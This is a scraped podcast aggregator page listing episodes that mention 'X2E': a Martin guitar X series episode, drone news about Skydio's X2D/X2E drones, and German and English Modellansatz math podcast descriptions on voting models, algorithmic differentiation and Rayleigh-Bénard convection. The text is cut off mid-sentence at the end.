Podcasts about x2e

  • 12PODCASTS
  • 27EPISODES
  • 1h 7mAVG DURATION
  • ?INFREQUENT EPISODES
  • Jun 20, 2022LATEST

POPULARITY

20172018201920202021202220232024


Best podcasts about x2e

Latest podcast episodes about x2e

Martins & More with Spoon Phillips
The Martin Guitar X Series

Martins & More with Spoon Phillips

Play Episode Listen Later Jun 20, 2022 52:58


Today's Martin Guitar discussion will be focused on the X series. Maury & Spoon chat about the D-X1E, OMC-X1E Black, 00-X2E and more and more … including some very interesting history along the way. If you'd like more information on any guitars from the Martin X series, please contact us today - or visit us online at https://www.maurysmusic.com/martin_guitar___x_series This podcast features the conversation and opinions of musician T Spoon Phillips. A writer by trade, Spoon's longtime association with professional musicians, luthiers, and music historians affords him a richly unique perspective on all things acoustic guitar. This includes decades of close friendship with executives and employee at C. F. Martin & Company, past and present, and the host of this podcast, Maury Rutch of Maury's Music. Visit Spoon at TSPguitar.com AND at http://onemanz.com/ Visit Maury's Music at https://www.maurysmusic.com Have a suggestion or request? Email us today at Support@MaurysMusic.com We're proud to be a certified online dealer for Martin Guitar, and we'd love the chance to earn your business. If you found value in this podcast, consider sharing it with your friends.  

Drone News Update
Drone News #60: Skydio's new X2 drone. UPS/Matternet. LAANC authorizations.

Drone News Update

Play Episode Listen Later Jul 22, 2020 7:02


This week in Drone News: Skydio announces the X2D drone and a series of new software. UPS Flight Forward and Matternet expand their delivery network at hospitals. The CEO of Kittyhawk discusses an increase in LAANC authorization in the last 6 months. Skydio's new drone : 00:43 Expanded delivery network for UPS/Matternet : 02:42 Increase in LAANC authorisations : 04:50 Now on Podcast : 06:21 Script/notes Skydio Launches Skydio X2 commercial Drone Skydio announced the launched of a new commercial drone called the X2. Comes in two format: X2D and X2E X2D: designed for the US Army as a reconnaissance drone X2E: designed for first reponders and enterprise Comes with a 360-deg camera and a FLIR system (320x256)12 MP photos, 35 minutes flight time, 6.2 mi range Also comes with a new set of software, including 360 zooming, 180 vertical images for inspections, and scanning software. Will start shipping 4th quarter of 2020. Skydio also raised $100 million to speed up the development of their drones and marketing efforts. https://dronelife.com/2020/07/13/skydios-x2-drones-ceo-adam-bry-talks-breakthrough-autonomy-and-100-million/ UPS Flight Forward expands UPS Flight Forward is expanding its hospital delivery network with the helps of Matternet M2 drones. They will carry patient specific and time/temperature sensitive medicine They will also carry PPE to medical professionals. This is happening in Wake Forest Baptist Health in North Carolina. They have made more than 2200 deliveries so far (4400 flights) Increase in LAANC authorization Jon Hegranes, CEO and Co-founder of Kittyhawk, said that LAANC authorizations are hitting an old time high. There have been over 320,000 LAANC authorizations granted with more authorizations granted this year than in the first 21 months of LAANC. Over a third of all LAANC authorizations were granted in the first 6 months of 2020.

Ask Drone U
BONUS: Drone News – Skydio Announces the New X2 Series of Drones, DOD Releases $84.4 Million To Help Small Drone Manufacturers, Drones in Public Safety, NTSB's Drone Crash Investigation

Ask Drone U

Play Episode Listen Later Jul 20, 2020 36:13


Skydio announces the new X2 series of drones, DOD releases $84.4 million in funds for small drone manufacturers, NTSB concludes drone crash investigation In today's news show, we have some exciting industry updates to share. DOD recently released $84.4 million in funds, $13.3 million of which will benefit small drone manufacturers. Airmap and Skydio are among the drone industry players who will receive a portion of these funds. This move is certainly a part of the US government's broader push towards creating an all-American, DJI alternative. Our next story is on similar lines. After the immensely successful, Skydio 2, the American drone manufacturer has decided to target the industrial market with its X2 series of drones. The X2E is an enterprise drone while the X2D is tailored for the defense sector. With GPS and LED's for night-time flying, 4K camera, and the ability to get a 360-degree aerial perspective, this drone seems quite promising. It remains to be seen how the Skydio X2 holds up against the DJI line-up. In yet more drone news, you will learn about NTSB's investigation on the latest drone crash, details about our ongoing Aerial Intelligence survey, Switzerland's UTM system, increased usage of drones in public safety, and much, much more… We hope you enjoy this show. Hone your drone skills by signing up for one of our webinars or online classes - and make the most of this downtime! - https://thedroneu.com/droneu-events/ Recently crashed your drone? Unable to find trained technicians who can repair your drone quickly and at a reasonable rate? Don't fret. The cool folks at Fortress UAV can help you get your drone back up in the air in as little as 7 days! Use Promo Code “DroneU” to get 25% off. Drone U Members get an extra 5% off on total repair costs. Check them out now! Get Your Biggest and Most Common Drone Certificate Questions Answered by Downloading this FREE Part 107 PDF Fill out this short survey and help us help you better - https://www.surveymonkey.com/r/UAVIndustrySurvey?fbclid=IwAR2DVtBWrmFHwK5BZ0IxyXGKAiqSO7nitWh-Z_SyVKIisMFGAapwpwp_tOA Make sure to get yourself the all-new Drone U landing pad! Get your questions answered: https://thedroneu.com/. If you enjoy the show, the #1 thing you can do to help us out is to subscribe to it on iTunes. Can we ask you to do that for us real quick? While you're there, leave us a 5-star review, if you're inclined to do so. Thanks! https://itunes.apple.com/us/podcast/ask-drone-u/id967352832. Become a Drone U Member. Access to over 30 courses, great resources, and our incredible community.Follow us:Site - https://thedroneu.com/Facebook - https://www.facebook.com/droneuInstagram - https://instagram.com/thedroneu/Twitter - https://twitter.com/thedroneuYouTube - https://www.youtube.com/c/droneu Timestamps [01:29 ]- NTSB confirms drone crash with news helicopter flying in Los Angeles [08:27] - Help us help you better; please take some time out to fill out this Aerial Intelligence Survey [08:56] - Does the FAA need to clearly define navigable airspace? [10:23] - Survey shows that 65% of drone pilots have been working full-time during the virus outbreak [10:57] - Recent incidents highlight the need to define navigable airspace [12:23] - DOD releases $84.4 million for small drone manufacturers and a space firm; Airmap and Skydio among those to benefit [14:01] - Parrot and Skydio among those who qualify for strict DOD requirements [15:35] - Why should drone pilots refrain from using Airmap? [17:10 ]- American drones to have enhanced flying capabilities and better security [20:00] - Skydio gets $100 million in funding [20:39] - Skydio targets the growing industrial market with two new drones, X2D and X2E [26:51] - Chula Vista police deparment gets approval to find BVLOS [30:27] - Switzerland working on a UTM system to get drones to "talk" to each other and enhance airspace safety [32:20] - $260,

Ask Drone U
BONUS: Drone News – Skydio Announces the New X2 Series of Drones, DOD Releases $84.4 Million To Help Small Drone Manufacturers, Drones in Public Safety, NTSB’s Drone Crash Investigation

Ask Drone U

Play Episode Listen Later Jul 20, 2020 36:13


Skydio announces the new X2 series of drones, DOD releases $84.4 million in funds for small drone manufacturers, NTSB concludes drone crash investigation In today’s news show, we have some exciting industry updates to share. DOD recently released $84.4 million in funds, $13.3 million of which will benefit small drone manufacturers. Airmap and Skydio are among the drone industry players who will receive a portion of these funds. This move is certainly a part of the US government’s broader push towards creating an all-American, DJI alternative. Our next story is on similar lines. After the immensely successful, Skydio 2, the American drone manufacturer has decided to target the industrial market with its X2 series of drones. The X2E is an enterprise drone while the X2D is tailored for the defense sector. With GPS and LED’s for night-time flying, 4K camera, and the ability to get a 360-degree aerial perspective, this drone seems quite promising. It remains to be seen how the Skydio X2 holds up against the DJI line-up. In yet more drone news, you will learn about NTSB’s investigation on the latest drone crash, details about our ongoing Aerial Intelligence survey, Switzerland’s UTM system, increased usage of drones in public safety, and much, much more… We hope you enjoy this show. Hone your drone skills by signing up for one of our webinars or online classes - and make the most of this downtime! - https://www.thedroneu.com/droneu-events/ Recently crashed your drone? Unable to find trained technicians who can repair your drone quickly and at a reasonable rate? Don’t fret. The cool folks at Fortress UAV can help you get your drone back up in the air in as little as 7 days! Use Promo Code “DroneU” to get 25% off. Drone U Members get an extra 5% off on total repair costs. Check them out now! Get Your Biggest and Most Common Drone Certificate Questions Answered by Downloading this FREE Part 107 PDF Fill out this short survey and help us help you better - https://www.surveymonkey.com/r/UAVIndustrySurvey?fbclid=IwAR2DVtBWrmFHwK5BZ0IxyXGKAiqSO7nitWh-Z_SyVKIisMFGAapwpwp_tOA Make sure to get yourself the all-new Drone U landing pad! Get your questions answered: https://thedroneu.com/. If you enjoy the show, the #1 thing you can do to help us out is to subscribe to it on iTunes. Can we ask you to do that for us real quick? While you're there, leave us a 5-star review, if you're inclined to do so. Thanks! https://itunes.apple.com/us/podcast/ask-drone-u/id967352832. Become a Drone U Member. Access to over 30 courses, great resources, and our incredible community.Follow us:Site - https://thedroneu.com/Facebook - https://www.facebook.com/droneuInstagram - https://instagram.com/thedroneu/Twitter - https://twitter.com/thedroneuYouTube - https://www.youtube.com/c/droneu Timestamps - NTSB confirms drone crash with news helicopter flying in Los Angeles - Help us help you better; please take some time out to fill out this Aerial Intelligence Survey - Does the FAA need to clearly define navigable airspace? - Survey shows that 65% of drone pilots have been working full-time during the virus outbreak - Recent incidents highlight the need to define navigable airspace - DOD releases $84.4 million for small drone manufacturers and a space firm; Airmap and Skydio among those to benefit - Parrot and Skydio among those who qualify for strict DOD requirements - Why should drone pilots refrain from using Airmap? - American drones to have enhanced flying capabilities and better security - Skydio gets $100 million in funding - Skydio targets the growing industrial market with two new drones, X2D and X2E - Chula Vista police deparment gets approval to find BVLOS - Switzerland working on a UTM system to get drones to "talk" to each other and enhance airspace safety - $260,000 worth of drones donated to the Blue Mountain Community College by Digital Harvest

Modellansatz
Gruppenentscheidungen

Modellansatz

Play Episode Listen Later Jan 31, 2020 34:58


In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. Gudrun sprach im Januar 2020 mit drei Studenten ihrer Vorlesung Mathematical Modelling and Simulation: Samory Gassama, Lennart Harms und David Schneiderhan. Sie hatten in ihrem Projekt Gruppenentscheidungen modelliert. In dem Gespräch geht es darum, wie man hierfür mathematische Modelle findet, ob man Wahlsysteme fair gestalten kann und was sie aus den von ihnen gewählten Beispielen gelernt haben. Wie lassen sich Entscheidungen von Wählergruppen fair in demokratische Willensbildung einbringen? Mit diesem Thema beschäftigt sich u.a. auch die Volkswirtschaftslehre. Die dafür benutzten Modelle sollten einige Eigenschaften haben. Ein grundlegendes Kriterium wäre beispielsweise: Wenn alle der gleichen Meinung sind, sollte diese Meinung auch immer die Gruppenentscheidung sein. Ein weiteres Kriterum könnte verlangen, dass das Ergebnis Pareto-optimal ist, es also kein anderes Ergebnis gibt, mit dem jedes Gruppenmitglied zufriedener wäre. Um die Präferenz der Gruppe auszudrücken, führen die Studenten die Wohlfahrtsfunktion ein. Das ist eine Abbildung, welche als Input die Präferenzen der einzelnen Wähler verknüpft. Das Wahlverfahren wird sozusagen in dieser Abbildung modelliert. Man wünscht sich Anonymität: Jede Stimme sollte gleich gewertet werden. Neutralität: Wenn die Relationen im Input invertiert werden, bewirkt dies das Selbe beim Output. Monotonie: Falls eine Relation aus dem Input, welche nicht den Präferenzen des Outputs entspricht, sich zur Präferenzrelation des Outputs ändert, bleibt dieser gleich. Verfahren wie Rangaddition und Condorcet-Methode sind klassisch und erfüllen leider nicht alle diese Bedingungen. Die Studenten fügen eine weitere Entscheidungsebene im Modell hinzu. Man nennt dies geschachtelte Wahl. Als Beispiele dienen die US Präsidentschaftswahl 2016 und der Eurovision Song Contest 2019. Bei den Präsidentschaftswahlen in den VereinigtenStaaten von Amerika, wird der Präsident von den Wahlleuten der Bundesstaaten für eine Amtszeit bestimmt. Jeder Bundesstaat hat unterschiedlich viele Wahlleute. Die Wahlberechtigten legen unmittelbar nur die Wahlleute fest. Deshalb ist das Modell der US Präsidentschaftswahlen ist ein geschachteltes Modell. Im ersten Schritt, werden in allen 52 Staaten die Wahlen, mit den US Bürgern des jeweiligen Staates als Wähler, mithilfe des Condorcet Modells durchgeführt. Im zweiten Schritt bilden eben jene 52 Staaten die neue Wählermenge, welche dann über eine gewichtete Rangaddition den endgültigen Präsidenten bestimmt. Die Studenten haben im Projekt zwei Datensätze verwendet, um die Präsidentschaftswahlen 2016 in den USA zwischen Donald Trump und Hillary Clinton zu simulieren. Sie geben die Anzahl der Stimmen für Donald Trump und Hillary Clinton in den verschiedenen Wahlbezirken der USA an. Um die Simulation durchzuführen, wurde Google Colab verwendet. Die benutzte Programmiersprache ist Python. Die Wahl wurde folgendermaßen simuliert: Man summiert die Anzahl der Stimmen für alle Kandidaten in jedem Staat. Anschließend vergleicht man die Anzahl der Stimmen für Trump und Clinton in jedem Bundesstaat. Dem Gewinner eines Staates werden die Anzahl der Wahlleute dieses Bundesstaates in das Endergebnis addiert. Zum Schluss werden die Anzahl der Wahlleute, welche für die Kandidaten gestimmt haben verglichen. Trump gewinnt die Wahlen in 30 Bundesstaaten und Clinton in 20 Bundesstaaten, genauer gesagt erhält Trump 304 Wahlleute und Clinton 227. Somit wäre gewinnt Trump gegen Clinton. Alternativ zum geschachtelten Modell, wird anschließend die Abstimmungsmethode direkt auf alle Wahlstimmen angewandt. Dabei erhält Trump 62.984.828 Stimmen, während Clinton 65.853.514 bekommt. Bei diesem Verfahren gewinnt Clinton gegen Trump. Im Gespräch wird besprochen, dass es ein Problem ist, wenn bei recht knappem Wahlausgang pro Bundesstaat eine "Rundung" auf Wahlleute erfolgt und diese dann addiert wird. Im Vergleich hierzu kann es bei vielen Parteien auch durch Instrumente wie die 5%-Hürde, die wir in Deutschland implementiert haben, zu unfairen Effekten kommen. Die Regeln beim Eurovision Song Contest sind wie folgt: Aus den Televoting-Ergebnissen und den Jurywertungen jedes einzelnen Landes setzt sich das Gesamtergebnis für alle Teilnehmenden zusammen. Die besten zehn Titel werden mit eins, zwei, drei, vier, fünf, sechs, sieben, acht, zehn und zwölf Punkten bewertet. Dabei werden die Jury- und Zuschauerwertungen seit 2016 voneinander getrennt. Jedes Land kann einem Teilnehmenden also bis zu 24 Punkte geben - zwölf durch die Jury, zwölf durch die Zuschauer. Wenn zwei Songs auf die gleiche Punktzahl kommen, bekommt das Land die höhere Punktzahl, das vom Publikum höher bewertet wurde. Abgesehen davon, dass es sich auch hierbei wieder um ein geschachteltes Modell handelt, werden hierbei auch noch die gewichtete Rangaddition und ein externes Diktator Modell verwendet. Literatur und weiterführende Informationen A.D. Taylor and A.M. Pacelli: Mathematics and Politics - Strategy, Voting, Power, and Proof. Springer-Verlag, Berlin Heidelberg, 2nd corrected ed. 2008, corr. 3rd printing, 2009. H.-J. Bungartz e.a.: Modellbildung und Simulation - Eine anwendungsorientierte Einführung Kapitel 4: Gruppenentscheidungen, Springer, 2009. G.G. Szpiro: Die verflixte Mathematik der Demokratie, Springer, 2011. W.D. Wallis. The Mathematics of Elections and Voting. Springer, Berlin, Heidelberg, 2014. au. edition, 2014. K. Loewenstein: Verfassungsrecht und Verfassungspraxis der Vereinigten Staaten, Springer-Verlag, Berlin Heidelberg New York, 1959. US Election Tracker as xlsx, 2016. nytimes presidential elections 2016 results as csv, 2016. ESC Regelwerk, 2019. ESC Datensatz, 2019. S. Gassama, L. Harms, D. Schneiderhan: Gruppenentscheidungen. Jupyter Notebooks: Eurocontest_2019.ipynb (Web-Viewer), MS_USA_2016.ipynb (Web-Viewer) Podcasts P. Stursberg, G. Thäter: Social Choice, Gespräch im Modellansatz Podcast, Folge 129, Fakultät für Mathematik, Karlsruher Institut für Technologie (KIT), 2017. M. Lübbecke, S. Ritterbusch: Operations Research, Gespräch im Modellansatz Podcast, Folge 110, Fakultät für Mathematik, Karlsruher Institut für Technologie (KIT), 2016. P. Staudt, G. Thäter: Wahlsysteme, Gespräch im Modellansatz Podcast, Folge 27, Fakultät für Mathematik, Karlsruher Institut für Technologie (KIT), 2014. M. Fehndrich, T. Pritlove: Wahlrecht und Wahlsysteme, Gespräch im CRE Podcast, Folge 128, Metaebene Personal Media, 2009.

Modellansatz
Algorithmisches Differenzieren

Modellansatz

Play Episode Listen Later Jan 23, 2020 68:58


In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. Gudruns Arbeitsgruppe begrüßte im Januar 2020 Andrea Walther als Gast. Sie ist Expertin für das algorithmische Differenzieren (AD) und ihre Arbeitsgruppe ist verantwortlich für das ADOL-C Programmpaket zum algorithmischen Differenzieren. Zusammen mit Andreas Griewank hat sie 2008 das Standardbuch zu AD veröffentlicht. Im Abitur und im mathematischen Grundstudium lernt jede und jeder Anwendungen kennen, wo Ableitungen von Funktionen gebraucht werden. Insbesondere beim Auffinden von Minima und Maxima von Funktionen ist es sehr praktisch, dies als Nullstellen der Ableitung zu finden. Bei der Modellierung komplexer Zusammenhänge mit Hilfe von partiellen Differentialgleichungen ist es möglich, diese Idee in ein abstrakteres Setting zu Übertragen. Eine sogenannte Kostenfunktion misst, wie gut Lösungen von partiellen Differentialgleichungen einer vorgegebenen Bedingung genügen. Man kann sich beispielsweise einen Backofen vorstellen, der aufgeheizt wird, indem am oberen und unteren Rand eine Heizspirale Wärme in den Ofen überträgt. Für den Braten wünscht man sich eine bestimmte Endtemperaturverteilung. Die Wärmeverteilung lässt sich mit Hilfe der Wärmeleitungsgleichung berechnen. In der Kostenfunktion wird dann neben der gewünschten Temperatur auch noch Energieeffizienz gemessen und die Abweichung von der Endtemperatur wird zusammen mit der benötigten Energie minimiert. Auch hierzu werden Ableitungen berechnet, deren Nullstellen helfen, diese Kosten zu minimeren. Man spricht hier von optimaler Steuerung. Eine Möglichkeit, die abstrakte Ableitung auszudrücken, ist das Lösen eines sogenannten adjungierten partiellen Differenzialgleichungsproblems. Aber hier wird es sehr schwierig, immer schnell und fehlerfrei Ableitungen von sehr komplexen und verschachtelten Funktionen zu berechnen, zumal sie für jedes Problem immer wieder neu und anders aussehen. Außerdem braucht man in der numerischen Auswertung des Algorithmus oft nur Werte dieser Ableitung an bestimmten Stellen. Deshalb ist die effiziente Berechnung von Funktionswerten der Ableitung ein unverzichtbarer Baustein in zahlreichen Anwendungen, die von Methoden zur Lösung nichtlinearer Gleichungen bis hin zu ausgefeilten Simulationen in der Optimierung und optimalen Kontrolle reichen. Am liebsten sollte dies der Computer fehlerfrei oder doch mit sehr kleinen Fehlern übernehmen können. Auch für das Newtonverfahren braucht man die Ableitung der Funktion. Es ist das Standardverfahren zur Lösung nichtlinearer Gleichungen und Gleichungssysteme. Das algorithmische Differenzieren (AD) liefert genaue Werte für jede Funktion, die in einer höheren Programmiersprache gegeben ist, und zwar mit einer zeitlichen und räumlichen Komplexität, die durch die Komplexität der Auswertung der Funktion beschränkt ist. Der Kerngedanke der AD ist die systematische Anwendung der Kettenregel der Analysis. Zu diesem Zweck wird die Berechnung der Funktion in eine (typischerweise lange) Folge einfacher Auswertungen zerlegt, z.B. Additionen, Multiplikationen und Aufrufe von elementaren Funktionen wie zum Beispiel Exponentialfunktion oder Potenzen. Die Ableitungen bezüglich der Argumente dieser einfachen Operationen können leicht berechnet werden. Eine systematische Anwendung der Kettenregel ergibt dann die Ableitungen der gesamten Sequenz in Bezug auf die Eingangsvariablen Man unterscheidet zwei Verfahren: den Vorwärts- und den Rückwärtsmodus. Im Vorwärtsmodus berechnet man das Matrizenprodukt der Jacobi-Matrix mit einer beliebigen Matrix (sogenannte Seedmatrix), ohne vorher die Komponenten der Jacobi-Matrix zu bestimmen. Der Rückwärtsmodus besteht aus zwei Phasen. Die Originalfunktion wird zunächst ausgeführt und gewisse Daten abgespeichert. Anschließend rechnet man rückwärts. Dabei werden Richtungsableitungen übergeben und es werden die im ersten Schritt gespeicherten Daten verwendet. Mit dem Rückwärtsmodus von AD ist es möglich, den Gradienten einer skalarwertigen Funktion mit Laufzeitkosten von weniger als vier Funktionsauswertungen zu berechnen. Diese Grenze ist auch noch völlig unabhängig von der Anzahl der Eingangsvariablen. Das ist phänomenal effektiv, aber er ist mit einem erhöhten Speicherbedarf verbunden. Im Laufe der Jahre wurden Checkpointing-Strategien entwickelt, um einen goldenen Mittelweg zu finden. Die Methoden sind für viele und sehr unterschiedliche Anwendungen interessant. In DFG-Projekten an denen Andrea beteiligt war und ist, wurde das unter anderem für die Modellierung von Piezokeramiken und für die Maxwellsche Wellengleichung umgesetzt. Außerdem sprechen Gudrun und Andrea über die Optimierung der Form einer Turbinenschaufel. Andrea begann ihre berufliche Laufbahn mit einer Ausbildung zur Bankkauffrau in Bremerhaven. Sie entschied sich anschließend für ein Studium der Wirtschaftsmathematik, um Mathematik und ihren erlernten Beruf zusammen zu halten. Unter den wenigen verfügbaren Standorten für so ein Studium in Deutschland entschied sie sich für die Universität Bayreuth. Nach Abschluss des Diploms gab es die Chance, an der TU Dresden im Optimierungsfeld zu arbeiten. Dort promovierte sie, wurde es später Leiterin der selbständigen Nachwuchsgruppe "Analyse und Optimierung von Computermodellen", Juniorprofessorin für "Analyse und Optimierung von Computermodellen" und habilitierte sich. 2009-2019 war sie als Professorin für "Mathematik und ihre Anwendungen" an der Universität Paderborn tätig. Seit Oktober 2019 ist sie Professorin für "Mathematische Optimierung", Humboldt-Universität zu Berlin. Literatur und weiterführende Informationen A. Griewank und A. Walther: Evaluating Derivatives: Principles and Techniques of Algorithmic Differentiation, Second Edition. SIAM (2008). A. Gebremedhin und A. Walther: An Introduction to Algorithmic Differentiation. in WIREs Data Mining and Knowledge Discovery. S. Fiege, A. Walther und A. Griewank: An algorithm for nonsmooth optimization by successive piecewise linearization. Mathematical Programming 177(1-2):343-370 (2019). A. Walther und A. Griewank: Characterizing and testing subdifferential regularity for piecewise smooth objective functions. SIAM Journal on Optimization 29(2):1473-1501 (2019). Podcasts G. Thäter, A. Zarth: Automatic Differentiation, Gespräch im Modellansatz Podcast, Folge 167, Fakultät für Mathematik, Karlsruher Institut für Technologie (KIT), 2018. G. Thäter, P. Allinger und N. Stockelkamp: Strukturoptimierung, Gespräch im Modellansatz Podcast, Folge 053, Fakultät für Mathematik, Karlsruher Institut für Technologie (KIT), 2015.

Modellansatz - English episodes only

In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. In the coming weeks until February 20, 2020, Anna Hein, student of science communication at KIT, intends to conduct a study on the Modellansatz Podcast within her master's thesis. For this purpose, she would like to conduct some interviews with you, the listeners of the Modellansatz Podcast, to find out who listens to the podcast and how and for what purpose it is used. The interviews will be anonymous and will take about 15 minutes each. To participate in the study, you can register with Anna Hein until 20.2.2020 at studie.modellansatz@web.de . We would be very pleased if many interested parties would contact us. This is the second of three conversation recorded Conference on mathematics of wave phenomena 23-27 July 2018 in Karlsruhe. Gudrun is in conversation with Mariana Haragus about Benard-Rayleigh problems. On the one hand this is a much studied model problem in Partial Differential Equations. There it has connections to different fields of research due to the different ways to derive and read the stability properties and to work with nonlinearity. On the other hand it is a model for various applications where we observe an interplay between boyancy and gravity and for pattern formation in general. An everyday application is the following: If one puts a pan with a layer of oil on the hot oven (in order to heat it up) one observes different flow patterns over time. In the beginning it is easy to see that the oil is at rest and not moving at all. But if one waits long enough the still layer breaks up into small cells which makes it more difficult to see the bottom clearly. This is due to the fact that the oil starts to move in circular patterns in these cells. For the problem this means that the system has more than one solutions and depending on physical parameters one solution is stable (and observed in real life) while the others are unstable. In our example the temperature difference between bottom and top of the oil gets bigger as the pan is heating up. For a while the viscosity and the weight of the oil keep it still. But if the temperature difference is too big it is easier to redistribute the different temperature levels with the help of convection of the oil. The question for engineers as well as mathematicians is to find the point where these convection cells evolve in theory in order to keep processes on either side of this switch. In theory (not for real oil because it would start to burn) for even bigger temperature differences the original cells would break up into even smaller cells to make the exchange of energy faster. In 1903 Benard did experiments similar to the one described in the conversation which fascinated a lot of his colleagues at the time. The equations where derived a bit later and already in 1916 Lord Rayleigh found the 'switch', which nowadays is called the critical Rayleigh number. Its size depends on the thickness of the configuration, the viscositiy of the fluid, the gravity force and the temperature difference. Only in the 1980th it became clear that Benards' experiments and Rayleigh's analysis did not really cover the same problem since in the experiment the upper boundary is a free boundary to the surrounding air while Rayleigh considered fixed boundaries. And this changes the size of the critical Rayleigh number. For each person doing experiments it is also an observation that the shape of the container with small perturbations in the ideal shape changes the convection patterns. Maria does study the dynamics of nonlinear waves and patterns. This means she is interested in understanding processes which change over time. Her main questions are: Existence of observed waves as solutions of the equations The stability of certain types of solutions How is the interaction of different waves She treats her problems with the theory of dynamical systems and bifurcations. The simplest tools go back to Poincaré when understanding ordinary differential equations. One could consider the partial differential equations to be the evolution in an infinite dimensional phase space. Here, in the 1980s, Klaus Kirchgässner had a few crucial ideas how to construct special solutions to nonlinear partial differential equations. It is possible to investigate waterwave problems which are dispersive equations as well as flow problems which are dissipative. Together with her colleagues in Besancon she is also very keen to match experiments for optical waves with her mathematical analysis. There Mariana is working with a variant of the Nonlinear Schrödinger equation called Lugiato-Lefever Equation. It has many different solutions, e.g. periodic solutions and solitons. Since 2002 Mariana has been Professor in Besancon (University of Franche-Comté, France). Before that she studied and worked in a lot of different places, namely in Bordeaux, Stuttgart, Bucharest, Nice, and Timisoara. References V.A. Getling: Rayleigh-Bénard Convection Structures and Dynamics, Advanced Series in Nonlinear Dynamics, Volume 11, World Scientific, Oxford (1998) P. H. Rabinowitz: Existence and nonuniqueness of rectangular solutions of the Bénard problem. Arch. Rational Mech. Anal. (1968) 29: 32. M. Haragus and G. Iooss: Local bifurcations, center manifolds, and normal forms in infinite-dimensional dynamical systems. Universitext. Springer-Verlag London, Ltd., London; EDP Sciences, Les Ulis, 2011. Newell, Alan C. Solitons in mathematics and physics. CBMS-NSF Regional Conference Series in Applied Mathematics, 48. Society for Industrial and Applied Mathematics (SIAM), Philadelphia, PA, 1985. Y. K. Chembo, D. Gomila, M. Tlidi, C. R. Menyuk: Topical Issue: Theory and Applications of the Lugiato-Lefever Equation. Eur. Phys. J. D 71 (2017). Podcasts S. Fliss, G. Thäter: Transparent Boundaries. Conversation in the Modellansatz Podcast episode 75, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. M. Kray, G. Thäter: Splitting Waves. Conversation in the Modellansatz Podcast episode 62, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015. F. Sayas, G. Thäter: Acoustic scattering. Conversation in the Modellansatz Podcast episode 58, Department of Mathematics, Karlsruhe Institute of Technology (KIT), 2015.

Modellansatz
Pattern Formation

Modellansatz

Play Episode Listen Later Jan 16, 2020 30:07


In den nächsten Wochen bis zum 20.2.2020 möchte Anna Hein, Studentin der Wissenschaftskommunikation am KIT, eine Studie im Rahmen ihrer Masterarbeit über den Podcast Modellansatz durchführen. Dazu möchte sie gerne einige Interviews mit Ihnen, den Hörerinnen und Hörern des Podcast Modellansatz führen, um herauszufinden, wer den Podcast hört und wie und wofür er genutzt wird. Die Interviews werden anonymisiert und werden jeweils circa 15 Minuten in Anspruch nehmen. Für die Teilnahme an der Studie können Sie sich bis zum 20.2.2020 unter der Emailadresse studie.modellansatz@web.de bei Anna Hein melden. Wir würden uns sehr freuen, wenn sich viele Interessenten melden würden. In the coming weeks until February 20, 2020, Anna Hein, student of science communication at KIT, intends to conduct a study on the Modellansatz Podcast within her master's thesis. For this purpose, she would like to conduct some interviews with you, the listeners of the Modellansatz Podcast, to find out who listens to the podcast and how and for what purpose it is used. The interviews will be anonymous and will take about 15 minutes each. To participate in the study, you can register with Anna Hein until 20.2.2020 at studie.modellansatz@web.de . We would be very pleased if many interested parties would contact us. This is the second of three conversation recorded Conference on mathematics of wave phenomena 23-27 July 2018 in Karlsruhe. Gudrun is in conversation with Mariana Haragus about Benard-Rayleigh problems. On the one hand this is a much studied model problem in Partial Differential Equations. There it has connections to different fields of research due to the different ways to derive and read the stability properties and to work with nonlinearity. On the other hand it is a model for various applications where we observe an interplay between boyancy and gravity and for pattern formation in general. An everyday application is the following: If one puts a pan with a layer of oil on the hot oven (in order to heat it up) one observes different flow patterns over time. In the beginning it is easy to see that the oil is at rest and not moving at all. But if one waits long enough the still layer breaks up into small cells which makes it more difficult to see the bottom clearly. This is due to the fact that the oil starts to move in circular patterns in these cells. For the problem this means that the system has more than one solutions and depending on physical parameters one solution is stable (and observed in real life) while the others are unstable. In our example the temperature difference between bottom and top of the oil gets bigger as the pan is heating up. For a while the viscosity and the weight of the oil keep it still. But if the temperature difference is too big it is easier to redistribute the different temperature levels with the help of convection of the oil. The question for engineers as well as mathematicians is to find the point where these convection cells evolve in theory in order to keep processes on either side of this switch. In theory (not for real oil because it would start to burn) for even bigger temperature differences the original cells would break up into even smaller cells to make the exchange of energy faster. In 1903 Benard did experiments similar to the one described in the conversation which fascinated a lot of his colleagues at the time. The equations where derived a bit later and already in 1916 Lord Rayleigh found the 'switch', which nowadays is called the critical Rayleigh number. Its size depends on the thickness of the configuration, the viscositiy of the fluid, the gravity force and the temperature difference. Only in the 1980th it became clear that Benards' experiments and Rayleigh's analysis did not really cover the same problem since in the experiment the upper boundary is a free boundary to the 